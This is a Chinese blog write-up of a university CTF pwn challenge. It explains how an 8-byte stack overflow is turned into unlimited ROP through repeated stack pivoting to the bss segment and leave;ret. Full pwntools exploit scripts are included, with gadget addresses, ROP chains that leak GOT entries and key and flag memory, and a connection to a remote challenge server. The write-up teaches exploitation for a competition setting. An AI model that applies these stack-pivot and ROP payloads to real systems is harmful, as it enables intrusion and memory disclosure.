某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP

2024-01-20 04:20

本文主要是介绍某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

芝士题目:

链接:https://pan.baidu.com/s/1uwFlcSg94MuC2tPi-HCb9w 
提取码:joj6

感悟:

之前我只做过溢出超过0x10这样的栈迁移,思路就是找机会去泄露栈空间的地址然后把栈迁移到我们可以控制的栈空间,亦或者迁移到堆空间,大概思路就是覆盖rbp为我们想要迁移到的地方,然后在溢出的位置填上leave ret。我之前做过的题目往往都有很多溢出空间,这也给我了很多地操作空间,但是这一题把我打得措手不及,一直也没太有思路,比赛结束后和师傅们交流,发现了新的东西(也许不是新的,但是我真的学到了很多)。

反编译:

 

这题目也开了沙箱,禁了open execve这些函数,shellcode直接凉,抬走,下一个 

暂且先不谈怎么拿到shell,就先看题目,其实漏洞很明显但又不太好利用,就是只溢出了0x8的字节空间,而且只有一个read溢出。按照以前的思路会在rip返回地址上填写leave_ret,但是这里很显然不是。所以我们要另辟蹊径。 

然后我学到一个很新的东西,就是直接在rbp的位置上填写bss段可写地址,然后在返回地址填上主函数自己的read,这样就可以把栈成功迁移到bss段了!

 这样这个RBP就被我们迁移到了bss段上。

但是我们注意观察以往的栈迁移,咱都是覆盖返回地址为leave _ret的,这样rsp和rbp都会在bss段上,因此我们需要再一次覆盖返回地址,再执行一次leave ret,使我们的rsp也迁移到栈上

io.recvuntil(b'wonderlands\nBefore you are leaving, leave your name\n')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()

 这里的0x404530是因为如果观察汇编的话,你会发现程序read写入的地址都是rbp-0x30的一个位置。

ok,这样rsp 和rbp都被我们迁移到栈上了,接下来就是快乐的ROP了,但是要经过一次又一次的调试,准确地构造ROP!

注意注意!!我们一定要进入read函数里面!!!!不然会报错!!!

比如现在我们想要去泄露处flag的地址,ok,经过我们的反复调试,可以看到 rip的位置将会是rsp目前指向的一个位置。

 所以我们的目标就是要去填掉这里的rsp也是图的0x404508的位置,改成我们构造的ROP
比如这样:

payload=b'deadbeef'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()

ok,我们可以看到它执行了我们的构造的ROP输出了puts的真实地址并且又返回了我们的指定的地址
可能有人会好奇,为什么这里没有执行printf函数呢?我想的原因是read也是一个函数,我们进去read这个函数后,因为我们构造的ROP覆盖了read函数的返回地址,因此它就跳转了,不去执行接下来的printf("Good luck %s\n", buf);这个函数了

当然这个问题不大,也不需要关心这个东西。

接下来也一样,就是ROP去泄露比如key的地址。

但是但是!!!!

这样构造的话rsp就会越来越靠近rbp,但是我们能控制到的只有0x40的字节,也就是说,如果rsp距离rbp太近,我们将无法正常的去执行我们的ROP链了,那咋办???

这就请到了我们的老朋友   leave_ret,我们利用leave_ret这个强有力的工具,给rsp来一个乾坤大挪移,咋整呢,比如现在这个情况。

由于我们只能控制从0x404500开始的0x40个字节,这rsp都杀到0x404538了。

然后我们构造一个ROP

leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()

这样就一不小心又把rsp给归位了,那之后就是继续操作啦,想做啥做啥,反正空间不够,继续leave_ret。

以上的东西都是我经过和师傅讨论自己去一步步调试总结出来的结果,希望大家喜欢,能学到东西。

这里附上EXP,还没结束,还没拿到flag呢。有机会继续写

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
pwnfile='./chall'
elf = ELF(pwnfile)
io = process(pwnfile)io.recvuntil(b'wonderlands\nBefore you are leaving, leave your name\n')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()
pop_rdi=0x401723
flag_ad=0x0404100
key_addr=0x4040B0
payload=b'deadbeef'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()payload=b'deadbeef'+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()io.interactive()

 小伙伴有机会一定要去动手调试一下,很好玩滴。

更新一下,这是完整的exp:

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
pwnfile='./chall'
elf = ELF(pwnfile)
#io = process(pwnfile)
io=remote('1.12.48.154',2224)io.recvuntil(b'wonderlands\nBefore you are leaving, leave your name\n')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()
pop_rdi=0x401723
flag_ad=0x0404100
key_addr=0x4040B0
payload=b'deadbeef'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()payload=b'deadbeef'+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)key1=io.recv(0x8)
key2=io.recv(0x8)
key3=io.recv(0x8)
real_key1=int.from_bytes(key1,byteorder='big')
key2=int.from_bytes(key2,byteorder='big')
real_key2=real_key1^key2
key3=int.from_bytes(key3,byteorder='big')
real_key3=key3^real_key2leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recvline()
flag1=io.recv(0x8)
flag2=io.recv(0x8)
flag3=io.recv(0x8)
flag4=io.recv(0x8)
flag5=io.recv(0x8)
flag6=io.recv(0x8)flag1=int.from_bytes(flag1,byteorder='big')
flag2=int.from_bytes(flag2,byteorder='big')
flag3=int.from_bytes(flag3,byteorder='big')
flag4=int.from_bytes(flag4,byteorder='big')
flag5=int.from_bytes(flag5,byteorder='big')
flag6=int.from_bytes(flag6,byteorder='big')real_flag1=flag1^real_key1
real_flag2=flag2^real_key2
real_flag3=flag3^real_key3
real_flag4=flag4^real_key1
real_flag5=flag5^real_key2
real_flag6=flag6^real_key3print(hex(real_flag1))
print(hex(real_flag2))
print(hex(real_flag3))
print(hex(real_flag4))
print(hex(real_flag5))
print(hex(real_flag6))io.interactive()

把这个转成对应阿斯克码对应的字母就行啦,就拿到flag啦! 

这篇关于某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/624769

相关文章

在不同系统间迁移Python程序的方法与教程

《在不同系统间迁移Python程序的方法与教程》本文介绍了几种将Windows上编写的Python程序迁移到Linux服务器上的方法,包括使用虚拟环境和依赖冻结、容器化技术(如Docker)、使用An... 目录使用虚拟环境和依赖冻结1. 创建虚拟环境2. 冻结依赖使用容器化技术(如 docker)1. 创

SQL Server数据库迁移到MySQL的完整指南

《SQLServer数据库迁移到MySQL的完整指南》在企业应用开发中,数据库迁移是一个常见的需求,随着业务的发展,企业可能会从SQLServer转向MySQL,原因可能是成本、性能、跨平台兼容性等... 目录一、迁移前的准备工作1.1 确定迁移范围1.2 评估兼容性1.3 备份数据二、迁移工具的选择2.1

将sqlserver数据迁移到mysql的详细步骤记录

《将sqlserver数据迁移到mysql的详细步骤记录》:本文主要介绍将SQLServer数据迁移到MySQL的步骤,包括导出数据、转换数据格式和导入数据,通过示例和工具说明,帮助大家顺利完成... 目录前言一、导出SQL Server 数据二、转换数据格式为mysql兼容格式三、导入数据到MySQL数据

Java循环创建对象内存溢出的解决方法

《Java循环创建对象内存溢出的解决方法》在Java中,如果在循环中不当地创建大量对象而不及时释放内存,很容易导致内存溢出(OutOfMemoryError),所以本文给大家介绍了Java循环创建对象... 目录问题1. 解决方案2. 示例代码2.1 原始版本(可能导致内存溢出)2.2 修改后的版本问题在

系统架构设计师: 信息安全技术

简简单单 Online zuozuo: 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo : 文章目录 系统架构设计师: 信息安全技术前言信息安全的基本要素:信息安全的范围:安全措施的目标:访问控制技术要素:访问控制包括:等保

每日一题|牛客竞赛|四舍五入|字符串+贪心+模拟

每日一题|四舍五入 四舍五入 心有猛虎,细嗅蔷薇。你好朋友,这里是锅巴的C\C++学习笔记,常言道,不积跬步无以至千里,希望有朝一日我们积累的滴水可以击穿顽石。 四舍五入 题目: 牛牛发明了一种新的四舍五入应用于整数,对个位四舍五入,规则如下 12345->12350 12399->12400 输入描述: 输入一个整数n(0<=n<=109 ) 输出描述: 输出一个整数

CentOs7上Mysql快速迁移脚本

因公司业务需要,对原来在/usr/local/mysql/data目录下的数据迁移到/data/local/mysql/mysqlData。 原因是系统盘太小,只有20G,几下就快满了。 参考过几篇文章,基于大神们的思路,我封装成了.sh脚本。 步骤如下: 1) 先修改好/etc/my.cnf,        ##[mysqld]       ##datadir=/data/loc

CentOS下mysql数据库data目录迁移

https://my.oschina.net/u/873762/blog/180388        公司新上线一个资讯网站,独立主机,raid5,lamp架构。由于资讯网是面向小行业,初步估计一两年内访问量压力不大,故,在做服务器系统搭建的时候,只是简单分出一个独立的data区作为数据库和网站程序的专区,其他按照linux的默认分区。apache,mysql,php均使用yum安装(也尝试

Linux Centos 迁移Mysql 数据位置

转自:http://www.tuicool.com/articles/zmqIn2 由于业务量增加导致安装在系统盘(20G)磁盘空间被占满了, 现在进行数据库的迁移. Mysql 是通过 yum 安装的. Centos6.5Mysql5.1 yum 安装的 mysql 服务 查看 mysql 的安装路径 执行查询 SQL show variables like

2024年AMC10美国数学竞赛倒计时两个月:吃透1250道真题和知识点(持续)

根据通知,2024年AMC10美国数学竞赛的报名还有两周,正式比赛还有两个月就要开始了。计划参赛的孩子们要记好时间,认真备考,最后冲刺再提高成绩。 那么如何备考2024年AMC10美国数学竞赛呢?做真题,吃透真题和背后的知识点是备考AMC8、AMC10有效的方法之一。通过做真题,可以帮助孩子找到真实竞赛的感觉,而且更加贴近比赛的内容,可以通过真题查漏补缺,更有针对性的补齐知识的短板。